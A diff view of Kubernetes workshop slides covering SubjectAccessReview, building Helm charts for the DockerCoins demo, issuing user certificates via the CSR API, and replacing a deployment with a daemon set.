- We mentioned webhooks earlier; how does that really work?
- The Kubernetes API has special resource types to check permissions
- One of them is SubjectAccessReview
- To check if a particular user can do a particular action on a particular resource:
- we prepare a SubjectAccessReview object
- we send that object to the API server
- the API server responds with allow/deny (and optional explanations)
- Using webhooks for authorization = sending SAR to authorize each request
---
## Subject Access Review
Here is an example showing how to check if `jean.doe` can `get` some `pods` in `kube-system`:
```bash
kubectl -v9 create -f- <<EOF
apiVersion: authorization.k8s.io/v1beta1
kind: SubjectAccessReview
spec:
user: jean.doe
group:
- foo
- bar
resourceAttributes:
#group: blah.k8s.io
namespace: kube-system
resource: pods
verb: get
#name: web-xyz1234567-pqr89
EOF
```

View File

@@ -1,114 +0,0 @@
## Creating a chart
- We are going to show a way to create a *very simplified* chart
- In a real chart, *lots of things* would be templatized
(Resource names, service types, number of replicas...)
.exercise[
- Create a sample chart:
```bash
helm create dockercoins
```
- Move away the sample templates and create an empty template directory:
```bash
mv dockercoins/templates dockercoins/default-templates
mkdir dockercoins/templates
```
]
---
## Exporting the YAML for our application
- The following section assumes that DockerCoins is currently running
.exercise[
- Create one YAML file for each resource that we need:
.small[
```bash
while read kind name; do
kubectl get -o yaml $kind $name > dockercoins/templates/$name-$kind.yaml
done <<EOF
deployment worker
deployment hasher
daemonset rng
deployment webui
deployment redis
service hasher
service rng
service webui
service redis
EOF
```
]
]
---
## Testing our helm chart
.exercise[
- Let's install our helm chart! (`dockercoins` is the path to the chart)
```
helm install dockercoins
```
]
--
- Since the application is already deployed, this will fail:<br>
`Error: release loitering-otter failed: services "hasher" already exists`
- To avoid naming conflicts, we will deploy the application in another *namespace*
---
## Switching to another namespace
- We can create a new namespace and switch to it
(Helm will automatically use the namespace specified in our context)
- We can also tell Helm which namespace to use
.exercise[
- Tell Helm to use a specific namespace:
```bash
helm install dockercoins --namespace=magenta
```
]
---
## Checking our new copy of DockerCoins
- We can check the worker logs, or the web UI
.exercise[
- Retrieve the NodePort number of the web UI:
```bash
kubectl get service webui --namespace=magenta
```
- Open it in a web browser
- Look at the worker logs:
```bash
kubectl logs deploy/worker --tail=10 --follow --namespace=magenta
```
]
Note: it might take a minute or two for the worker to start.

View File

@@ -1,367 +0,0 @@
# Creating Helm charts
- We are going to create a generic Helm chart
- We will use that Helm chart to deploy DockerCoins
- Each component of DockerCoins will have its own *release*
- In other words, we will "install" that Helm chart multiple times
(one time per component of DockerCoins)
---
## Creating a generic chart
- Rather than starting from scratch, we will use `helm create`
- This will give us a basic chart that we will customize
.exercise[
- Create a basic chart:
```bash
cd ~
helm create helmcoins
```
]
This creates a basic chart in the directory `helmcoins`.
---
## What's in the basic chart?
- The basic chart will create a Deployment and a Service
- Optionally, it will also include an Ingress
- If we don't pass any values, it will deploy the `nginx` image
- We can override many things in that chart
- Let's try to deploy DockerCoins components with that chart!
---
## Writing `values.yaml` for our components
- We need to write one `values.yaml` file for each component
(hasher, redis, rng, webui, worker)
- We will start with the `values.yaml` of the chart, and remove what we don't need
- We will create 5 files:
hasher.yaml, redis.yaml, rng.yaml, webui.yaml, worker.yaml
---
## Getting started
- For component X, we want to use the image dockercoins/X:v0.1
(for instance, for rng, we want to use the image dockercoins/rng:v0.1)
- Exception: for redis, we want to use the official image redis:latest
.exercise[
- Write minimal YAML files for the 5 components, specifying only the image
]
--
*Hint: our YAML files should look like this.*
```yaml
### rng.yaml
image:
repository: dockercoins/`rng`
tag: v0.1
```
---
## Deploying DockerCoins components
- For convenience, let's work in a separate namespace
.exercise[
- Create a new namespace:
```bash
kubectl create namespace helmcoins
```
- Switch to that namespace:
```bash
kns helmcoins
```
]
---
## Deploying the chart
- To install a chart, we can use the following command:
```bash
helm install [--name `X`] <chart>
```
- We can also use the following command, which is idempotent:
```bash
helm upgrade --install `X` chart
```
.exercise[
- Install the 5 components of DockerCoins:
```bash
for COMPONENT in hasher redis rng webui worker; do
helm upgrade --install $COMPONENT helmcoins/ --values=$COMPONENT.yaml
done
```
]
---
## Checking what we've done
- Let's see if DockerCoins is working!
.exercise[
- Check the logs of the worker:
```bash
stern worker
```
- Look at the resources that were created:
```bash
kubectl get all
```
]
There are *many* issues to fix!
---
## Service names
- Our services should be named `rng`, `hasher`, etc., but they are named differently
- Look at the YAML template used for the services
- Does it look like we can override the name of the services?
--
- *Yes*, we can use `.Values.nameOverride`
- This means setting `nameOverride` in the values YAML file
---
## Setting service names
- Let's add `nameOverride: X` in each values YAML file!
(where X is hasher, redis, rng, etc.)
.exercise[
- Edit the 5 YAML files to add `nameOverride: X`
- Deploy the updated Chart:
```bash
for COMPONENT in hasher redis rng webui worker; do
helm upgrade --install $COMPONENT helmcoins/ --values=$COMPONENT.yaml
done
```
(Yes, this is exactly the same command as before!)
]
---
## Checking what we've done
.exercise[
- Check the service names:
```bash
kubectl get services
```
Great! (We have a useless service for `worker`, but let's ignore it for now.)
- Check the state of the pods:
```bash
kubectl get pods
```
Not so great... Some pods are *not ready.*
]
---
## Troubleshooting pods
- The easiest way to troubleshoot pods is to look at *events*
- We can look at all the events on the cluster (with `kubectl get events`)
- Or we can use `kubectl describe` on the objects that have problems
(`kubectl describe` will retrieve the events related to the object)
.exercise[
- Check the events for the redis pods:
```bash
kubectl describe pod -l app.kubernetes.io/name=redis
```
]
What's going on?
---
## Healthchecks
- The default chart defines healthchecks doing HTTP requests on port 80
- That won't work for redis and worker
(redis is not HTTP, and not on port 80; worker doesn't even listen)
--
- We could comment out the healthchecks
- We could also make them conditional
- This sounds more interesting, let's do that!
---
## Conditionals
- We need to enclose the healthcheck block with:
`{{ if CONDITION }}` at the beginning
`{{ end }}` at the end
- For the condition, we will use `.Values.healthcheck`
---
## Updating the deployment template
.exercise[
- Edit `helmcoins/templates/deployment.yaml`
- Before the healthchecks section (it starts with `livenessProbe:`), add:
`{{ if .Values.healthcheck }}`
- After the healthchecks section (just before `resources:`), add:
`{{ end }}`
- Edit `hasher.yaml`, `rng.yaml`, `webui.yaml` to add:
`healthcheck: true`
]
---
## Update the deployed charts
- We can now apply the new templates (and the new values)
.exercise[
- Use the same command as earlier to upgrade all five components
- Use `kubectl describe` to confirm that `redis` starts correctly
- Use `kubectl describe` to confirm that `hasher` still has healthchecks
]
---
## Is it working now?
- If we look at the worker logs, it appears that the worker is still stuck
- What could be happening?
--
- The redis service is not on port 80!
- We need to update the port number in redis.yaml
- We also need to update the port number in deployment.yaml
(it is hard-coded to 80 there)
---
## Setting the redis port
.exercise[
- Edit `redis.yaml` to add:
```yaml
service:
port: 6379
```
- Edit `helmcoins/templates/deployment.yaml`
- The line with `containerPort` should be:
```yaml
containerPort: {{ .Values.service.port }}
```
]
---
## Apply changes
- Re-run the for loop to execute `helm upgrade` one more time
- Check the worker logs
- This time, it should be working!
---
## Extra steps
- We don't need to create a service for the worker
- We can put the whole service block in a conditional
(this will require additional changes in other files referencing the service)
- We can set the webui to be a NodePort service
- We can change the number of workers with `replicaCount`
- And much more!

View File

@@ -1,426 +0,0 @@
# The CSR API
- The Kubernetes API exposes CSR resources
- We can use these resources to issue TLS certificates
- First, we will go through a quick reminder about TLS certificates
- Then, we will see how to obtain a certificate for a user
- We will use that certificate to authenticate with the cluster
- Finally, we will grant some privileges to that user
---
## Reminder about TLS
- TLS (Transport Layer Security) is a protocol providing:
- encryption (to prevent eavesdropping)
- authentication (using public key cryptography)
- When we access an https:// URL, the server authenticates itself
(it proves its identity to us; as if it were "showing its ID")
- But we can also have mutual TLS authentication (mTLS)
(client proves its identity to server; server proves its identity to client)
---
## Authentication with certificates
- To authenticate, someone (client or server) needs:
- a *private key* (that remains known only to them)
- a *public key* (that they can distribute)
- a *certificate* (associating the public key with an identity)
- A message encrypted with the private key can only be decrypted with the public key
(and vice versa)
- If I use someone's public key to encrypt/decrypt their messages,
<br/>
I can be certain that I am talking to them / they are talking to me
- The certificate proves that I have the correct public key for them
---
## Certificate generation workflow
This is what I do if I want to obtain a certificate.
1. Create public and private keys.
2. Create a Certificate Signing Request (CSR).
(The CSR contains the identity that I claim and a public key.)
3. Send that CSR to the Certificate Authority (CA).
4. The CA verifies that I can claim the identity in the CSR.
5. The CA generates my certificate and gives it to me.
The CA (or anyone else) never needs to know my private key.
---
## The CSR API
- The Kubernetes API has a CertificateSigningRequest resource type
(we can list them with e.g. `kubectl get csr`)
- We can create a CSR object
(= upload a CSR to the Kubernetes API)
- Then, using the Kubernetes API, we can approve/deny the request
- If we approve the request, the Kubernetes API generates a certificate
- The certificate gets attached to the CSR object and can be retrieved
---
## Using the CSR API
- We will show how to use the CSR API to obtain user certificates
- This will be a rather complex demo
- ... And yet, we will take a few shortcuts to simplify it
(but it will illustrate the general idea)
- The demo also won't be automated
(we would have to write extra code to make it fully functional)
---
## General idea
- We will create a Namespace named "users"
- Each user will get a ServiceAccount in that Namespace
- That ServiceAccount will give read/write access to *one* CSR object
- Users will use that ServiceAccount's token to submit a CSR
- We will approve the CSR (or not)
- Users can then retrieve their certificate from their CSR object
- ...And use that certificate for subsequent interactions
---
## Resource naming
For a user named `jean.doe`, we will have:
- ServiceAccount `jean.doe` in Namespace `users`
- CertificateSigningRequest `users:jean.doe`
- ClusterRole `users:jean.doe` giving read/write access to that CSR
- ClusterRoleBinding `users:jean.doe` binding ClusterRole and ServiceAccount
---
## Creating the user's resources
.warning[If you want to use another name than `jean.doe`, update the YAML file!]
.exercise[
- Create the global namespace for all users:
```bash
kubectl create namespace users
```
- Create the ServiceAccount, ClusterRole, ClusterRoleBinding for `jean.doe`:
```bash
kubectl apply -f ~/container.training/k8s/users:jean.doe.yaml
```
]
---
## Extracting the user's token
- Let's obtain the user's token and give it to them
(the token will be their password)
.exercise[
- List the user's secrets:
```bash
kubectl --namespace=users describe serviceaccount jean.doe
```
- Show the user's token:
```bash
kubectl --namespace=users describe secret `jean.doe-token-xxxxx`
```
]
---
## Configure `kubectl` to use the token
- Let's create a new context that will use that token to access the API
.exercise[
- Add a new identity to our kubeconfig file:
```bash
kubectl config set-credentials token:jean.doe --token=...
```
- Add a new context using that identity:
```bash
kubectl config set-context jean.doe --user=token:jean.doe --cluster=kubernetes
```
]
---
## Access the API with the token
- Let's check that our access rights are set properly
.exercise[
- Try to access any resource:
```bash
kubectl get pods
```
(This should tell us "Forbidden")
- Try to access "our" CertificateSigningRequest:
```bash
kubectl get csr users:jean.doe
```
(This should tell us "NotFound")
]
---
## Create a key and a CSR
- There are many tools to generate TLS keys and CSRs
- Let's use OpenSSL; it's not the best one, but it's installed everywhere
(many people prefer cfssl, easyrsa, or other tools; that's fine too!)
.exercise[
- Generate the key and certificate signing request:
```bash
openssl req -newkey rsa:2048 -nodes -keyout key.pem \
-new -subj /CN=jean.doe/O=devs/ -out csr.pem
```
]
The command above generates:
- a 2048-bit RSA key, without encryption, stored in key.pem
- a CSR for the name `jean.doe` in group `devs`
---
## Inside the Kubernetes CSR object
- The Kubernetes CSR object is a thin wrapper around the CSR PEM file
- The PEM file needs to be encoded to base64 on a single line
(we will use `base64 -w0` for that purpose)
- The Kubernetes CSR object also needs to list the right "usages"
(these are flags indicating how the certificate can be used)
---
## Sending the CSR to Kubernetes
.exercise[
- Generate and create the CSR resource:
```bash
kubectl apply -f - <<EOF
apiVersion: certificates.k8s.io/v1beta1
kind: CertificateSigningRequest
metadata:
name: users:jean.doe
spec:
request: $(base64 -w0 < csr.pem)
usages:
- digital signature
- key encipherment
- client auth
EOF
```
]
---
## Adjusting certificate expiration
- By default, the CSR API generates certificates valid 1 year
- We want to generate short-lived certificates, so we will lower that to 1 hour
- Fow now, this is configured [through an experimental controller manager flag](https://github.com/kubernetes/kubernetes/issues/67324)
.exercise[
- Edit the static pod definition for the controller manager:
```bash
sudo vim /etc/kubernetes/manifests/kube-controller-manager.yaml
```
- In the list of flags, add the following line:
```bash
- --experimental-cluster-signing-duration=1h
```
]
---
## Verifying and approving the CSR
- Let's inspect the CSR, and if it is valid, approve it
.exercise[
- Switch back to `cluster-admin`:
```bash
kctx -
```
- Inspect the CSR:
```bash
kubectl describe csr users:jean.doe
```
- Approve it:
```bash
kubectl certificate approve users:jean.doe
```
]
---
## Obtaining the certificate
.exercise[
- Switch back to the user's identity:
```bash
kctx -
```
- Retrieve the updated CSR object and extract the certificate:
```bash
kubectl get csr users:jean.doe \
-o jsonpath={.status.certificate} \
| base64 -d > cert.pem
```
- Inspect the certificate:
```bash
openssl x509 -in cert.pem -text -noout
```
]
---
## Using the certificate
.exercise[
- Add the key and certificate to kubeconfig:
```bash
kubectl config set-credentials cert:jean.doe --embed-certs \
--client-certificate=cert.pem --client-key=key.pem
```
- Update the user's context to use the key and cert to authenticate:
```bash
kubectl config set-context jean.doe --user cert:jean.doe
```
- Confirm that we are seen as `jean.doe` (but don't have permissions):
```bash
kubectl get pods
```
]
---
## What's missing?
We have just shown, step by step, a method to issue short-lived certificates for users.
To be usable in real environments, we would need to add:
- a kubectl helper to automatically generate the CSR and obtain the cert
(and transparently renew the cert when needed)
- a Kubernetes controller to automatically validate and approve CSRs
(checking that the subject and groups are valid)
- a way for the users to know the groups to add to their CSR
(e.g.: annotations on their ServiceAccount + read access to the ServiceAccount)
---
## Is this realistic?
- Larger organizations typically integrate with their own directory
- The general principle, however, is the same:
- users have long-term credentials (password, token, ...)
- they use these credentials to obtain other, short-lived credentials
- This provides enhanced security:
- the long-term credentials can use long passphrases, 2FA, HSM...
- the short-term credentials are more convenient to use
- we get strong security *and* convenience
- Systems like Vault also have certificate issuance mechanisms

View File

@@ -4,29 +4,15 @@
- We want one (and exactly one) instance of `rng` per node
- We *do not want* two instances of `rng` on the same node
- What if we just scale up `deploy/rng` to the number of nodes?
- We will do that with a *daemon set*
- nothing guarantees that the `rng` containers will be distributed evenly
---
- if we add nodes later, they will not automatically run a copy of `rng`
## Why not a deployment?
- if we remove (or reboot) a node, one `rng` container will restart elsewhere
- Can't we just do `kubectl scale deployment rng --replicas=...`?
--
- Nothing guarantees that the `rng` containers will be distributed evenly
- If we add nodes later, they will not automatically run a copy of `rng`
- If we remove (or reboot) a node, one `rng` container will restart elsewhere
(and we will end up with two instances `rng` on the same node)
- By contrast, a daemon set will start one pod per node and keep it that way
(as nodes are added or removed)
- Instead of a `deployment`, we will use a `daemonset`
---
@@ -52,7 +38,7 @@
<!-- ##VERSION## -->
- Unfortunately, as of Kubernetes 1.15, the CLI cannot create daemon sets
- Unfortunately, as of Kubernetes 1.14, the CLI cannot create daemon sets
--
@@ -87,13 +73,18 @@
- Dump the `rng` resource in YAML:
```bash
kubectl get deploy/rng -o yaml >rng.yml
kubectl get deploy/rng -o yaml --export >rng.yml
```
- Edit `rng.yml`
]
Note: `--export` will remove "cluster-specific" information, i.e.:
- namespace (so that the resource is not tied to a specific namespace)
- status and creation timestamp (useless when creating a new resource)
- resourceVersion and uid (these would cause... *interesting* problems)
---
## "Casting" a resource to another
@@ -385,7 +376,7 @@ But ... why do these pods (in particular, the *new* ones) have this `app=rng` la
- Bottom line: if we remove our `app=rng` label ...
... The pod "disappears" for its parent, which re-creates another pod to replace it
... The pod "diseappears" for its parent, which re-creates another pod to replace it
---

Some files were not shown because too many files have changed in this diff Show More